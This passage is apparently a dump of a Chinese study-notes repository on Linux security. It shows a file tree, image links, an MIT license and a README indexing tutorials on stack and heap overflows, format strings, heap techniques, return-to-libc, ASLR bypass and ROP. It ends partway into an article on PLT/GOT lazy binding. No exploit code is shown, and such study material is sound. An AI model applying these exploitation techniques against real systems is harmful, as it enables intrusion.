├── pictures ├── ELFview.png ├── asm.load.png ├── bufover1.png ├── bufover10.png ├── bufover11.png ├── bufover12.png ├── bufover13.png ├── bufover2.png ├── bufover3.png ├── bufover4.png ├── bufover5.png ├── bufover7.png ├── bufover8.png ├── bufover9.png ├── interrupt.png ├── isr_stack.png ├── linuxrop1.jpg ├── linuxrop2.jpg ├── linuxrop3.jpg ├── linuxrop4.jpg ├── linuxrop5.jpg ├── linuxrop6.jpg ├── linuxrop7.jpg ├── linuxrop8.jpg ├── linuxrop9.jpg ├── zhifubao.jpg ├── alsrgotgor1.png ├── aslrgotgor2.png ├── glibcmalloc1.png ├── glibcmalloc2.png ├── glibcmalloc3.png ├── glibcmalloc4.png ├── glibcmalloc5.png ├── glibcmalloc6.png ├── heapmanager1.png ├── heapmanager2.png ├── heapmanager3.png ├── heapmanager4.png ├── heapmanager5.png ├── heapmanager6.png ├── heapmanager7.png ├── heapmanager8.png ├── heapmanager9.png ├── heapunlink1.JPG ├── heapunlink2.JPG ├── heapunlink3.JPG ├── heapunlink4.JPG ├── heapunlink5.JPG ├── heapunlink5.png ├── heapunlink6.JPG ├── heapunlink7.JPG ├── linuxrop10.jpg ├── linuxrop11.jpg ├── linuxrop12.jpg ├── linuxrop13.jpg ├── linuxrop14.jpg ├── linuxrop15.jpg ├── linuxrop16.jpg ├── linuxrop17.jpg ├── linuxrop18.jpg ├── linuxstack.jpg ├── maleficarum1.png ├── maleficarum2.png ├── maleficarum3.png ├── maleficarum4.png ├── maleficarum5.png ├── maleficarum6.png ├── useafterfree.png ├── weixinzhifu.jpg ├── heapdoublefree.jpg ├── heapmanager10.png ├── heapmanager11.png ├── heapmanager12.png ├── heapmanager13.png ├── heapmanager14.png ├── heapmanager15.png ├── heapmanager16.png ├── heapmanager17.jpg ├── heapoffbyone1.png ├── heapoffbyone2.png ├── heapoverflow1.png ├── heapoverflow2.png ├── leve1integer1.png ├── level1integer2.png ├── link.indirect.png ├── stackoffbyone1.png ├── x86-registers.png ├── asm.elfoverview.png ├── heapdoublefree2.jpg ├── heapdoublefree3.jpg ├── mallocsystemcall1.png ├── mallocsystemcall2.png ├── stack-convention.png ├── chainreturntolibc1.jpeg ├── chainreturntolibc2.png └── level1stacklayout.jpeg ├── LICENSE ├── README.md ├── Linux 系统底层知识 ├── 动态延迟绑定原理.md ├── linux x86 汇编程序示例.md ├── 理解编译链接的那些事儿.md ├── Hook 内核之PVOPS.md ├── Linux 栈溢出保护机制.md ├── Malloc使用的系统调用.md ├── 深入理解Linux内存分配.md ├── Linux 堆内存管理深入分析(下).md ├── Born A Shell.md ├── 反调试与反反调试.md └── Linux 函数堆栈调用.md └── Linux X86 漏洞利用系列 ├── 绕过ASLR-第二篇章(暴力破解).md ├── 缓冲区溢出的前世今生.md ├── Double Free 浅析.md ├── Return-to-libc链接绕过NX.md ├── 绕过ASLR-第一篇章(return-to-plt).md ├── user-after-free.md ├── return-to-libc 绕过NX.md ├── THE HOUSE OF FORCE.md ├── 经典栈缓冲区溢出.md ├── 堆内off-by-one漏洞利用.md ├── THE HOUSE OF SPIRIT.md ├── Format String.md └── 整型溢出.md /pictures/ELFview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/ELFview.png -------------------------------------------------------------------------------- /pictures/asm.load.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/asm.load.png -------------------------------------------------------------------------------- /pictures/bufover1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover1.png -------------------------------------------------------------------------------- /pictures/bufover10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover10.png -------------------------------------------------------------------------------- /pictures/bufover11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover11.png -------------------------------------------------------------------------------- /pictures/bufover12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover12.png -------------------------------------------------------------------------------- /pictures/bufover13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover13.png -------------------------------------------------------------------------------- /pictures/bufover2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover2.png -------------------------------------------------------------------------------- /pictures/bufover3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover3.png -------------------------------------------------------------------------------- /pictures/bufover4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover4.png -------------------------------------------------------------------------------- /pictures/bufover5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover5.png -------------------------------------------------------------------------------- /pictures/bufover7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover7.png -------------------------------------------------------------------------------- /pictures/bufover8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover8.png -------------------------------------------------------------------------------- /pictures/bufover9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/bufover9.png -------------------------------------------------------------------------------- /pictures/interrupt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/interrupt.png -------------------------------------------------------------------------------- /pictures/isr_stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/isr_stack.png -------------------------------------------------------------------------------- /pictures/linuxrop1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop1.jpg -------------------------------------------------------------------------------- /pictures/linuxrop2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop2.jpg -------------------------------------------------------------------------------- /pictures/linuxrop3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop3.jpg -------------------------------------------------------------------------------- /pictures/linuxrop4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop4.jpg -------------------------------------------------------------------------------- /pictures/linuxrop5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop5.jpg -------------------------------------------------------------------------------- /pictures/linuxrop6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop6.jpg -------------------------------------------------------------------------------- /pictures/linuxrop7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop7.jpg -------------------------------------------------------------------------------- /pictures/linuxrop8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop8.jpg -------------------------------------------------------------------------------- /pictures/linuxrop9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop9.jpg -------------------------------------------------------------------------------- /pictures/zhifubao.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/zhifubao.jpg -------------------------------------------------------------------------------- /pictures/alsrgotgor1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/alsrgotgor1.png -------------------------------------------------------------------------------- /pictures/aslrgotgor2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/aslrgotgor2.png -------------------------------------------------------------------------------- /pictures/glibcmalloc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc1.png -------------------------------------------------------------------------------- /pictures/glibcmalloc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc2.png -------------------------------------------------------------------------------- /pictures/glibcmalloc3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc3.png -------------------------------------------------------------------------------- /pictures/glibcmalloc4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc4.png -------------------------------------------------------------------------------- /pictures/glibcmalloc5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc5.png -------------------------------------------------------------------------------- /pictures/glibcmalloc6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/glibcmalloc6.png -------------------------------------------------------------------------------- /pictures/heapmanager1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager1.png -------------------------------------------------------------------------------- /pictures/heapmanager2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager2.png -------------------------------------------------------------------------------- /pictures/heapmanager3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager3.png -------------------------------------------------------------------------------- /pictures/heapmanager4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager4.png -------------------------------------------------------------------------------- /pictures/heapmanager5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager5.png -------------------------------------------------------------------------------- /pictures/heapmanager6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager6.png -------------------------------------------------------------------------------- /pictures/heapmanager7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager7.png -------------------------------------------------------------------------------- /pictures/heapmanager8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager8.png -------------------------------------------------------------------------------- /pictures/heapmanager9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager9.png -------------------------------------------------------------------------------- /pictures/heapunlink1.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink1.JPG -------------------------------------------------------------------------------- /pictures/heapunlink2.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink2.JPG -------------------------------------------------------------------------------- /pictures/heapunlink3.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink3.JPG -------------------------------------------------------------------------------- /pictures/heapunlink4.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink4.JPG -------------------------------------------------------------------------------- /pictures/heapunlink5.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink5.JPG -------------------------------------------------------------------------------- /pictures/heapunlink5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink5.png -------------------------------------------------------------------------------- /pictures/heapunlink6.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink6.JPG -------------------------------------------------------------------------------- /pictures/heapunlink7.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapunlink7.JPG -------------------------------------------------------------------------------- /pictures/linuxrop10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop10.jpg -------------------------------------------------------------------------------- /pictures/linuxrop11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop11.jpg -------------------------------------------------------------------------------- /pictures/linuxrop12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop12.jpg -------------------------------------------------------------------------------- /pictures/linuxrop13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop13.jpg -------------------------------------------------------------------------------- /pictures/linuxrop14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop14.jpg -------------------------------------------------------------------------------- /pictures/linuxrop15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop15.jpg -------------------------------------------------------------------------------- /pictures/linuxrop16.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop16.jpg -------------------------------------------------------------------------------- /pictures/linuxrop17.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop17.jpg -------------------------------------------------------------------------------- /pictures/linuxrop18.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxrop18.jpg -------------------------------------------------------------------------------- /pictures/linuxstack.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/linuxstack.jpg -------------------------------------------------------------------------------- /pictures/maleficarum1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum1.png -------------------------------------------------------------------------------- /pictures/maleficarum2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum2.png -------------------------------------------------------------------------------- /pictures/maleficarum3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum3.png -------------------------------------------------------------------------------- /pictures/maleficarum4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum4.png -------------------------------------------------------------------------------- /pictures/maleficarum5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum5.png -------------------------------------------------------------------------------- /pictures/maleficarum6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/maleficarum6.png -------------------------------------------------------------------------------- /pictures/useafterfree.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/useafterfree.png -------------------------------------------------------------------------------- /pictures/weixinzhifu.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/weixinzhifu.jpg -------------------------------------------------------------------------------- /pictures/heapdoublefree.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapdoublefree.jpg -------------------------------------------------------------------------------- /pictures/heapmanager10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager10.png -------------------------------------------------------------------------------- /pictures/heapmanager11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager11.png -------------------------------------------------------------------------------- /pictures/heapmanager12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager12.png -------------------------------------------------------------------------------- /pictures/heapmanager13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager13.png -------------------------------------------------------------------------------- /pictures/heapmanager14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager14.png -------------------------------------------------------------------------------- /pictures/heapmanager15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager15.png -------------------------------------------------------------------------------- /pictures/heapmanager16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager16.png -------------------------------------------------------------------------------- /pictures/heapmanager17.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapmanager17.jpg -------------------------------------------------------------------------------- /pictures/heapoffbyone1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapoffbyone1.png -------------------------------------------------------------------------------- /pictures/heapoffbyone2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapoffbyone2.png -------------------------------------------------------------------------------- /pictures/heapoverflow1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapoverflow1.png -------------------------------------------------------------------------------- /pictures/heapoverflow2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapoverflow2.png -------------------------------------------------------------------------------- /pictures/leve1integer1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/leve1integer1.png -------------------------------------------------------------------------------- /pictures/level1integer2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/level1integer2.png -------------------------------------------------------------------------------- /pictures/link.indirect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/link.indirect.png -------------------------------------------------------------------------------- /pictures/stackoffbyone1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/stackoffbyone1.png -------------------------------------------------------------------------------- /pictures/x86-registers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/x86-registers.png -------------------------------------------------------------------------------- /pictures/asm.elfoverview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/asm.elfoverview.png -------------------------------------------------------------------------------- /pictures/heapdoublefree2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapdoublefree2.jpg -------------------------------------------------------------------------------- /pictures/heapdoublefree3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/heapdoublefree3.jpg -------------------------------------------------------------------------------- /pictures/mallocsystemcall1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/mallocsystemcall1.png -------------------------------------------------------------------------------- /pictures/mallocsystemcall2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/mallocsystemcall2.png -------------------------------------------------------------------------------- /pictures/stack-convention.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/stack-convention.png -------------------------------------------------------------------------------- /pictures/chainreturntolibc1.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/chainreturntolibc1.jpeg -------------------------------------------------------------------------------- /pictures/chainreturntolibc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/chainreturntolibc2.png -------------------------------------------------------------------------------- /pictures/level1stacklayout.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JnuSimba/LinuxSecNotes/HEAD/pictures/level1stacklayout.jpeg -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 s1mba 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LinuxSecNotes 2 | 此系列文章是本人关于学习 Linux 安全时记录的一些笔记,部分原创,部分是对网上文章的理解整理。如果可以找到原始参考链接时则会在文末贴出(如 乌云很多链接已失效,或者记不起当时存档时的链接),或者在文章开头写上 by xx,如有侵权请联系我(zhangjinfa3 at gmail.com)删除或加上reference,感谢在网上共享知识的师傅们,觉得内容不错的朋友请不要吝啬您的 **star**。 3 | 4 | ## 文章目录 5 | 6 | * Linux 系统底层知识 7 | - 汇编指令 8 | - [X86 Assembly Guide](./Linux%20系统底层知识/X86%20Assembly%20Guide.md) 9 | - [linux x86 汇编程序示例](./Linux%20系统底层知识/linux%20x86%20汇编程序示例.md) 10 | - [Linux 函数堆栈调用](./Linux%20系统底层知识/Linux%20函数堆栈调用.md) 11 | - ELF 文件 12 | - [ELF 文件简介](./Linux%20系统底层知识/ELF%20文件简介.md) 13 | - [动态延迟绑定原理](./Linux%20系统底层知识/动态延迟绑定原理.md) 14 | - [理解编译链接的那些事儿](./Linux%20系统底层知识//理解编译链接的那些事儿.md) 15 | - 系统调用 16 | - [Linux 系统调用权威指南](./Linux%20系统底层知识/Linux%20系统调用权威指南.md) 17 | - [Malloc使用的系统调用](./Linux%20系统底层知识/Malloc使用的系统调用.md) 18 | - 内存管理 19 | - [深入理解glibc malloc](./Linux%20系统底层知识/深入理解glibc%20malloc.md) 20 | - [深入理解Linux内存分配](./Linux%20系统底层知识/深入理解Linux内存分配.md) 21 | - [Linux 堆内存管理深入分析(上)](./Linux%20系统底层知识/Linux%20堆内存管理深入分析(上).md) 22 | - [Linux 堆内存管理深入分析(下)](./Linux%20系统底层知识/Linux%20堆内存管理深入分析(下).md) 23 | - exploit 调试 24 | - [Linux 栈溢出保护机制](./Linux%20系统底层知识/Linux%20栈溢出保护机制.md) 25 | - [反调试与反反调试](./Linux%20系统底层知识/反调试与反反调试.md) 26 | - [Hook 内核之PVOPS](./Linux%20系统底层知识/Hook%20内核之PVOPS.md) 27 | - [Born A Shell](./Linux%20系统底层知识/Born%20A%20Shell.md) 28 | 29 | * Linux(X86)漏洞利用系列 30 | - 缓冲区溢出 31 | - [经典栈缓冲区溢出](./Linux%20X86%20漏洞利用系列/经典栈缓冲区溢出.md) 32 | - [整型溢出](./Linux%20X86%20漏洞利用系列/整型溢出.md) 33 | - [栈内off-by-one 漏洞利用](./Linux%20X86%20漏洞利用系列/栈内off-by-one%20漏洞利用.md) 34 | - [Format String](./Linux%20X86%20漏洞利用系列/Format%20String.md) 35 | - [缓冲区溢出的前世今生](./Linux%20X86%20漏洞利用系列/缓冲区溢出的前世今生.md) 36 | - 堆溢出 37 | - [Unlink堆溢出](./Linux%20X86%20漏洞利用系列/Unlink堆溢出.md) 38 | - [Double Free 浅析](./Linux%20X86%20漏洞利用系列/Double%20Free%20浅析.md) 39 | - [Malloc Maleficarum堆溢出](./Linux%20X86%20漏洞利用系列/Malloc%20Maleficarum堆溢出.md) 40 | - [THE HOUSE OF PRIME](./Linux%20X86%20漏洞利用系列/THE%20HOUSE%20OF%20PRIME.md) 41 | - [THE HOUSE OF MIND](./Linux%20X86%20漏洞利用系列/THE%20HOUSE%20OF%20MIND.md) 42 | - [THE HOUSE OF FORCE](./Linux%20X86%20漏洞利用系列/THE%20HOUSE%20OF%20FORCE.md) 43 | - [THE HOUSE OF LORE](./Linux%20X86%20漏洞利用系列/THE%20HOUSE%20OF%20LORE.md) 44 | - [THE HOUSE OF SPIRIT](./Linux%20X86%20漏洞利用系列/THE%20HOUSE%20OF%20SPIRIT.md) 45 | - [堆内off-by-one漏洞利用](./Linux%20X86%20漏洞利用系列/堆内off-by-one漏洞利用.md) 46 | - [user-after-free](./Linux%20X86%20漏洞利用系列/user-after-free.md) 47 | - 绕过漏洞缓解 48 | - [return-to-libc 绕过NX](./Linux%20X86%20漏洞利用系列/return-to-libc%20绕过NX.md) 49 | - [Return-to-libc链接绕过NX](./Linux%20X86%20漏洞利用系列/Return-to-libc链接绕过NX.md) 50 | - [return-to-dl-resolve](./Linux%20X86%20漏洞利用系列/return-to-dl-resolve.md) 51 | - [绕过ASLR-第一篇章(return-to-plt)](./Linux%20X86%20漏洞利用系列/绕过ASLR-第一篇章(return-to-plt).md) 52 | - [绕过ASLR-第二篇章(暴力破解)](./Linux%20X86%20漏洞利用系列/绕过ASLR-第二篇章(暴力破解).md) 53 | - [绕过ASLR-第三篇章(GOT覆盖与GOT解引用)](./Linux%20X86%20漏洞利用系列/绕过ASLR-第三篇章(GOT覆盖与GOT解引用).md) 54 | - 一步一步学ROP 55 | - [Linux x86 篇](./一步一步学ROP/Linux%20x86%20篇.md) 56 | - [Linux x64 篇](./一步一步学ROP/Linux%20x64%20篇.md) 57 | - [gadgets和2free篇](./一步一步学ROP/gadgets和2free%20篇.md) 58 | - [Android ARM 32位篇](./一步一步学ROP/Android%20ARM%2032位篇.md) 59 | 60 | -------------------------------------------------------------------------------- /Linux 系统底层知识/动态延迟绑定原理.md: -------------------------------------------------------------------------------- 1 | 原文 by http://yunnigu.dropsec.xyz/ 2 | 3 | 动态链接比静态链接灵活,但牺牲了性能,据统计ELF程序在静态链接下比动态库快大约1%~5%。 4 | 主要原因是,动态链接下对于全局和静态数据的访问都要进行复杂的GOT定位,然后间接寻址,对于模块间的调用也要先定位GOT,然后进行间接跳转。 5 | 另外,动态链接的链接过程是在运行时完成的,动态链接器会寻找并转载所需要的对象,然后进行符号查找地址重定位等工作。 6 | 7 | 延迟绑定的实现步骤如下: 8 | 9 | 建立一个 GOT.PLT 表,该表用来放全局函数的实际地址,但最开始时,该里面放的不是真实的地址而是一个跳转,接下来会讲。 10 | 对每一个全局函数,链接器生成一个与之相对应的影子函数,如 fun@plt。 11 | 所有对 fun 的调用,都换成对 fun@plt 的调用,每个fun@plt 长成如下样子: 12 | ``` 13 | fun@plt: 14 | jmp *(fun@got.plt) 15 | push index 16 | jmp _init 17 | ``` 18 | 其中第一条指令直接从 got.plt 中去拿真实的函数地址,如果已经之前已经发生过调用,got.plt 就已经保存了真实的地址,如果是第一次调用,则 got.plt 中放的是 fun@plt 中的第二条指令,这就使得当执行第一次调用时,fun@plt中的第一条指令其实什么事也没做,直接继续往下执行,第二条指令的作用是把当前要调用的函数在 got.plt 中的编号作为参数传给 _init(),而 _init() 这个函数则用于把 fun 进行重定位,然后把结果写入到 got.plt 相应的地方,最后直接跳过去该函数。 19 | 20 | 仍然是使用前面的例子,我们看看 g_func2 是怎样调用 g_func 的: 21 | ``` 22 | 0000052f : 23 | 52f: 55 push %ebp 24 | 530: 89 e5 mov %esp,%ebp 25 | 532: 53 push %ebx 26 | 533: 83 ec 14 sub $0x14,%esp 27 | 536: e8 00 00 00 00 call 53b 28 | 53b: 5b pop %ebx 29 | 53c: 81 c3 91 11 00 00 add $0x1191,%ebx 30 | 542: c7 45 f8 02 00 00 00 movl $0x2,0xfffffff8(%ebp) // a = 2 31 | 549: 83 ec 0c sub $0xc,%esp 32 | 54c: 6a 03 push $0x3 // push argument 3 for g_func. 33 | 54e: e8 d5 fe ff ff call 428 34 | 553: 83 c4 10 add $0x10,%esp 35 | 556: 89 45 f4 mov %eax,0xfffffff4(%ebp) 36 | 559: 8b 45 f4 mov 0xfffffff4(%ebp),%eax 37 | 55c: 03 45 f8 add 0xfffffff8(%ebp),%eax 38 | 55f: 8b 5d fc mov 0xfffffffc(%ebp),%ebx 39 | 562: c9 leave 40 | 563: c3 ret 41 | ``` 42 | 如上汇编,指令 536, 53b, 53c, 用于计算 